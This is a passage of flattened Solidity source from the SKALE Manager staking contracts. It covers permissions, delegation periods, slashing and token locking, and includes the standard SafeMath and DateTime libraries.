contractManager.getContract("DelegationController") ); uint delegationsTotal = delegationController.getAndUpdateDelegatedToValidatorNow(validatorId); uint msr = ConstantsHolder(contractManager.getConstantsHolder()).msr(); return position.add(1).mul(msr) <= delegationsTotal; } function _checkNodeIndex(uint nodeIndex) private view { require(nodeIndex < nodes.length, "Node with such index does not exist"); } function _checkNodeOrAdmin(uint nodeIndex, address sender) private view { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require( isNodeExist(sender, nodeIndex) || _isAdmin(sender) || getValidatorId(nodeIndex) == validatorService.getValidatorId(sender), "Sender is not permitted to call this function" ); } function _publicKeyToAddress(bytes32[2] memory pubKey) private pure returns (address) { bytes32 hash = keccak256(abi.encodePacked(pubKey[0], pubKey[1])); bytes20 addr; for (uint8 i = 12; i < 32; i++) { addr |= bytes20(hash[i] & 0xFF) >> ((i - 12) * 8); } return address(addr); } function _min(uint a, uint b) private pure returns (uint) { if (a < b) { return a; } else { return b; } } } // SPDX-License-Identifier: AGPL-3.0-only /* Permissions.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol"; import "./ContractManager.sol"; /** * @title Permissions * @dev Contract is connected module for Upgradeable approach, knows ContractManager */ contract Permissions is AccessControlUpgradeSafe { using SafeMath for uint; using Address for address; ContractManager public contractManager; /** * @dev Modifier to make a function callable only when caller is the Owner. * * Requirements: * * - The caller must be the owner. */ modifier onlyOwner() { require(_isOwner(), "Caller is not the owner"); _; } /** * @dev Modifier to make a function callable only when caller is an Admin. * * Requirements: * * - The caller must be an admin. */ modifier onlyAdmin() { require(_isAdmin(msg.sender), "Caller is not an admin"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName` contract. * * Requirements: * * - The caller must be the owner or `contractName`. */ modifier allow(string memory contractName) { require( contractManager.getContract(contractName) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1` or `contractName2` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, or `contractName2`. */ modifier allowTwo(string memory contractName1, string memory contractName2) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1`, `contractName2`, or `contractName3` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, `contractName2`, or * `contractName3`. */ modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || contractManager.getContract(contractName3) == msg.sender || _isOwner(), "Message sender is invalid"); _; } function initialize(address contractManagerAddress) public virtual initializer { AccessControlUpgradeSafe.__AccessControl_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setContractManager(contractManagerAddress); } function _isOwner() internal view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, msg.sender); } function _isAdmin(address account) internal view returns (bool) { address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager"))); if (skaleManagerAddress != address(0)) { AccessControlUpgradeSafe skaleManager = AccessControlUpgradeSafe(skaleManagerAddress); return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner(); } else { return _isOwner(); } } function _setContractManager(address contractManagerAddress) private { require(contractManagerAddress != address(0), "ContractManager address is not set"); require(contractManagerAddress.isContract(), "Address is not contract"); contractManager = ContractManager(contractManagerAddress); } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC777Token standard as defined in the EIP. * * This contract uses the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let * token holders and recipients react to token movements by using setting implementers * for the associated interfaces in said registry. See {IERC1820Registry} and * {ERC1820Implementer}. */ interface IERC777 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view returns (string memory); /** * @dev Returns the smallest part of the token that is not divisible. This * means all token operations (creation, movement and destruction) must have * amounts that are a multiple of this number. * * For most token contracts, this value will equal 1. */ function granularity() external view returns (uint256); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by an account (`owner`). */ function balanceOf(address owner) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * If send or receive hooks are registered for the caller and `recipient`, * the corresponding functions will be called with `data` and empty * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - the caller must have at least `amount` tokens. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function send(address recipient, uint256 amount, bytes calldata data) external; /** * @dev Destroys `amount` tokens from the caller's account, reducing the * total supply. * * If a send hook is registered for the caller, the corresponding function * will be called with `data` and empty `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - the caller must have at least `amount` tokens. */ function burn(uint256 amount, bytes calldata data) external; /** * @dev Returns true if an account is an operator of `tokenHolder`. * Operators can send and burn tokens on behalf of their owners. All * accounts are their own operator. * * See {operatorSend} and {operatorBurn}. */ function isOperatorFor(address operator, address tokenHolder) external view returns (bool); /** * @dev Make an account an operator of the caller. * * See {isOperatorFor}. * * Emits an {AuthorizedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function authorizeOperator(address operator) external; /** * @dev Revoke an account's operator status for the caller. * * See {isOperatorFor} and {defaultOperators}. * * Emits a {RevokedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function revokeOperator(address operator) external; /** * @dev Returns the list of default operators. These accounts are operators * for all token holders, even if {authorizeOperator} was never called on * them. * * This list is immutable, but individual holders may revoke these via * {revokeOperator}, in which case {isOperatorFor} will return false. */ function defaultOperators() external view returns (address[] memory); /** * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must * be an operator of `sender`. * * If send or receive hooks are registered for `sender` and `recipient`, * the corresponding functions will be called with `data` and * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - `sender` cannot be the zero address. * - `sender` must have at least `amount` tokens. * - the caller must be an operator for `sender`. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * The caller must be an operator of `account`. * * If a send hook is registered for `account`, the corresponding function * will be called with `data` and `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. * - the caller must be an operator for `account`. */ function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } // SPDX-License-Identifier: AGPL-3.0-only /* FractionUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; library FractionUtils { using SafeMath for uint; struct Fraction { uint numerator; uint denominator; } function createFraction(uint numerator, uint denominator) internal pure returns (Fraction memory) { require(denominator > 0, "Division by zero"); Fraction memory fraction = Fraction({numerator: numerator, denominator: denominator}); reduceFraction(fraction); return fraction; } function createFraction(uint value) internal pure returns (Fraction memory) { return createFraction(value, 1); } function reduceFraction(Fraction memory fraction) internal pure { uint _gcd = gcd(fraction.numerator, fraction.denominator); fraction.numerator = fraction.numerator.div(_gcd); fraction.denominator = fraction.denominator.div(_gcd); } // numerator - is limited by 7*10^27, we could multiply it numerator * numerator - it would less than 2^256-1 function multiplyFraction(Fraction memory a, Fraction memory b) internal pure returns (Fraction memory) { return createFraction(a.numerator.mul(b.numerator), a.denominator.mul(b.denominator)); } function gcd(uint a, uint b) internal pure returns (uint) { uint _a = a; uint _b = b; if (_b > _a) { (_a, _b) = swap(_a, _b); } while (_b > 0) { _a = _a.mod(_b); (_a, _b) = swap (_a, _b); } return _a; } function swap(uint a, uint b) internal pure returns (uint, uint) { return (b, a); } } // SPDX-License-Identifier: AGPL-3.0-only /* MathUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; library MathUtils { uint constant private _EPS = 1e6; event UnderflowError( uint a, uint b ); function boundedSub(uint256 a, uint256 b) internal returns (uint256) { if (a >= b) { return a - b; } else { emit UnderflowError(a, b); return 0; } } function boundedSubWithoutEvent(uint256 a, uint256 b) internal pure returns (uint256) { if (a >= b) { return a - b; } else { return 0; } } function muchGreater(uint256 a, uint256 b) internal pure returns (bool) { assert(uint(-1) - _EPS > b); return a > b + _EPS; } function approximatelyEqual(uint256 a, uint256 b) internal pure returns (bool) { if (a > b) { return a - b < _EPS; } else { return b - a < _EPS; } } } // SPDX-License-Identifier: AGPL-3.0-only /* DelegationPeriodManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../Permissions.sol"; /** * @title Delegation Period Manager * @dev This contract handles all delegation offerings. Delegations are held for * a specified period (months), and different durations can have different * returns or `stakeMultiplier`. Currently, only delegation periods can be added. */ contract DelegationPeriodManager is Permissions { mapping (uint => uint) public stakeMultipliers; /** * @dev Emitted when a new delegation period is specified. */ event DelegationPeriodWasSet( uint length, uint stakeMultiplier ); /** * @dev Allows the Owner to create a new available delegation period and * stake multiplier in the network. * * Emits a {DelegationPeriodWasSet} event. */ function setDelegationPeriod(uint monthsCount, uint stakeMultiplier) external onlyOwner { require(stakeMultipliers[monthsCount] == 0, "Delegation perios is already set"); stakeMultipliers[monthsCount] = stakeMultiplier; emit DelegationPeriodWasSet(monthsCount, stakeMultiplier); } /** * @dev Checks whether given delegation period is allowed. */ function isDelegationPeriodAllowed(uint monthsCount) external view returns (bool) { return stakeMultipliers[monthsCount] != 0; } /** * @dev Initial delegation period and multiplier settings. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); stakeMultipliers[2] = 100; // 2 months at 100 // stakeMultipliers[6] = 150; // 6 months at 150 // stakeMultipliers[12] = 200; // 12 months at 200 } } // SPDX-License-Identifier: AGPL-3.0-only /* Punisher.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../Permissions.sol"; import "../interfaces/delegation/ILocker.sol"; import "./ValidatorService.sol"; import "./DelegationController.sol"; /** * @title Punisher * @dev This contract handles all slashing and forgiving operations. */ contract Punisher is Permissions, ILocker { // holder => tokens mapping (address => uint) private _locked; /** * @dev Emitted upon slashing condition. */ event Slash( uint validatorId, uint amount ); /** * @dev Emitted upon forgive condition. */ event Forgive( address wallet, uint amount ); /** * @dev Allows SkaleDKG contract to execute slashing on a validator and * validator's delegations by an `amount` of tokens. * * Emits a {Slash} event. * * Requirements: * * - Validator must exist. */ function slash(uint validatorId, uint amount) external allow("SkaleDKG") { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); require(validatorService.validatorExists(validatorId), "Validator does not exist"); delegationController.confiscate(validatorId, amount); emit Slash(validatorId, amount); } /** * @dev Allows the Admin to forgive a slashing condition. * * Emits a {Forgive} event. * * Requirements: * * - All slashes must have been processed. */ function forgive(address holder, uint amount) external onlyAdmin { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); require(!delegationController.hasUnprocessedSlashes(holder), "Not all slashes were calculated"); if (amount > _locked[holder]) { delete _locked[holder]; } else { _locked[holder] = _locked[holder].sub(amount); } emit Forgive(holder, amount); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev Allows DelegationController contract to execute slashing of * delegations. */ function handleSlash(address holder, uint amount) external allow("DelegationController") { _locked[holder] = _locked[holder].add(amount); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } // private /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function _getAndUpdateLockedAmount(address wallet) private returns (uint) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); delegationController.processAllSlashes(wallet); return _locked[wallet]; } } // SPDX-License-Identifier: AGPL-3.0-only /* TokenState.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../interfaces/delegation/ILocker.sol"; import "../Permissions.sol"; import "./DelegationController.sol"; import "./TimeHelpers.sol"; /** * @title Token State * @dev This contract manages lockers to control token transferability. * * The SKALE Network has three types of locked tokens: * * - Tokens that are transferrable but are currently locked into delegation with * a validator. * * - Tokens that are not transferable from one address to another, but may be * delegated to a validator `getAndUpdateLockedAmount`. This lock enforces * Proof-of-Use requirements. * * - Tokens that are neither transferable nor delegatable * `getAndUpdateForbiddenForDelegationAmount`. This lock enforces slashing. */ contract TokenState is Permissions, ILocker { string[] private _lockers; DelegationController private _delegationController; /** * @dev Emitted when a contract is added to the locker. */ event LockerWasAdded( string locker ); /** * @dev Emitted when a contract is removed from the locker. */ event LockerWasRemoved( string locker ); /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address holder) external override returns (uint) { if (address(_delegationController) == address(0)) { _delegationController = DelegationController(contractManager.getContract("DelegationController")); } uint locked = 0; if (_delegationController.getDelegationsByHolderLength(holder) > 0) { // the holder ever delegated for (uint i = 0; i < _lockers.length; ++i) { ILocker locker = ILocker(contractManager.getContract(_lockers[i])); locked = locked.add(locker.getAndUpdateLockedAmount(holder)); } } return locked; } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address holder) external override returns (uint amount) { uint forbidden = 0; for (uint i = 0; i < _lockers.length; ++i) { ILocker locker = ILocker(contractManager.getContract(_lockers[i])); forbidden = forbidden.add(locker.getAndUpdateForbiddenForDelegationAmount(holder)); } return forbidden; } /** * @dev Allows the Owner to remove a contract from the locker. * * Emits a {LockerWasRemoved} event. */ function removeLocker(string calldata locker) external onlyOwner { uint index; bytes32 hash = keccak256(abi.encodePacked(locker)); for (index = 0; index < _lockers.length; ++index) { if (keccak256(abi.encodePacked(_lockers[index])) == hash) { break; } } if (index < _lockers.length) { if (index < _lockers.length.sub(1)) { _lockers[index] = _lockers[_lockers.length.sub(1)]; } delete _lockers[_lockers.length.sub(1)]; _lockers.pop(); emit LockerWasRemoved(locker); } } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); addLocker("DelegationController"); addLocker("Punisher"); } /** * @dev Allows the Owner to add a contract to the Locker. * * Emits a {LockerWasAdded} event. */ function addLocker(string memory locker) public onlyOwner { _lockers.push(locker); emit LockerWasAdded(locker); } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; // ---------------------------------------------------------------------------- // BokkyPooBah's DateTime Library v1.01 // // A gas-efficient Solidity date and time library // // https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence. // ---------------------------------------------------------------------------- library BokkyPooBahsDateTimeLibrary { uint constant SECONDS_PER_DAY = 24 * 60 * 60; uint constant SECONDS_PER_HOUR = 60 * 60; uint constant SECONDS_PER_MINUTE = 60; int constant OFFSET19700101 = 2440588; uint constant DOW_MON = 1; uint constant DOW_TUE = 2; uint constant DOW_WED = 3; uint constant DOW_THU = 4; uint constant DOW_FRI = 5; uint constant DOW_SAT = 6; uint constant DOW_SUN = 7; // ------------------------------------------------------------------------ // Calculate the number of days from 1970/01/01 to year/month/day using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and subtracting the offset 2440588 so that 1970/01/01 is day 0 // // days = day // - 32075 // + 1461 * (year + 4800 + (month - 14) / 12) / 4 // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12 // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4 // - offset // ------------------------------------------------------------------------ function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) { require(year >= 1970); int _year = int(year); int _month = int(month); int _day = int(day); int __days = _day - 32075 + 1461 * (_year + 4800 + (_month - 14) / 12) / 4 + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12 - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4 - OFFSET19700101; _days = uint(__days); } // ------------------------------------------------------------------------ // Calculate year/month/day from the number of days since 1970/01/01 using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and adding the offset 2440588 so that 1970/01/01 is day 0 // // int L = days + 68569 + offset // int N = 4 * L / 146097 // L = L - (146097 * N + 3) / 4 // year = 4000 * (L + 1) / 1461001 // L = L - 1461 * year / 4 + 31 // month = 80 * L / 2447 // dd = L - 2447 * month / 80 // L = month / 11 // month = month + 2 - 12 * L // year = 100 * (N - 49) + year + L // ------------------------------------------------------------------------ function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) { int __days = int(_days); int L = __days + 68569 + OFFSET19700101; int N = 4 * L / 146097; L = L - (146097 * N + 3) / 4; int _year = 4000 * (L + 1) / 1461001; L = L - 1461 * _year / 4 + 31; int _month = 80 * L / 2447; int _day = L - 2447 * _month / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint(_year); month = uint(_month); day = uint(_day); } function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY; } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second; } function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; secs = secs % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; second = secs % SECONDS_PER_MINUTE; } function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) { if (year >= 1970 && month > 0 && month <= 12) { uint daysInMonth = _getDaysInMonth(year, month); if (day > 0 && day <= daysInMonth) { valid = true; } } } function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) { if (isValidDate(year, month, day)) { if (hour < 24 && minute < 60 && second < 60) { valid = true; } } } function isLeapYear(uint timestamp) internal pure returns (bool leapYear) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); leapYear = _isLeapYear(year); } function _isLeapYear(uint year) internal pure returns (bool leapYear) { leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0); } function isWeekDay(uint timestamp) internal pure returns (bool weekDay) { weekDay = getDayOfWeek(timestamp) <= DOW_FRI; } function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) { weekEnd = getDayOfWeek(timestamp) >= DOW_SAT; } function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); daysInMonth = _getDaysInMonth(year, month); } function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { daysInMonth = 31; } else if (month != 2) { daysInMonth = 30; } else { daysInMonth = _isLeapYear(year) ? 29 : 28; } } // 1 = Monday, 7 = Sunday function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) { uint _days = timestamp / SECONDS_PER_DAY; dayOfWeek = (_days + 3) % 7 + 1; } function getYear(uint timestamp) internal pure returns (uint year) { uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getMonth(uint timestamp) internal pure returns (uint month) { uint year; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getDay(uint timestamp) internal pure returns (uint day) { uint year; uint month; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getHour(uint timestamp) internal pure returns (uint hour) { uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; } function getMinute(uint timestamp) internal pure returns (uint minute) { uint secs = timestamp % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; } function getSecond(uint timestamp) internal pure returns (uint second) { second = timestamp % SECONDS_PER_MINUTE; } function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year += _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); month += _months; year += (month - 1) / 12; month = (month - 1) % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _days * SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _hours * SECONDS_PER_HOUR; require(newTimestamp >= timestamp); } function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE; require(newTimestamp >= timestamp); } function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _seconds; require(newTimestamp >= timestamp); } function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year -= _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= 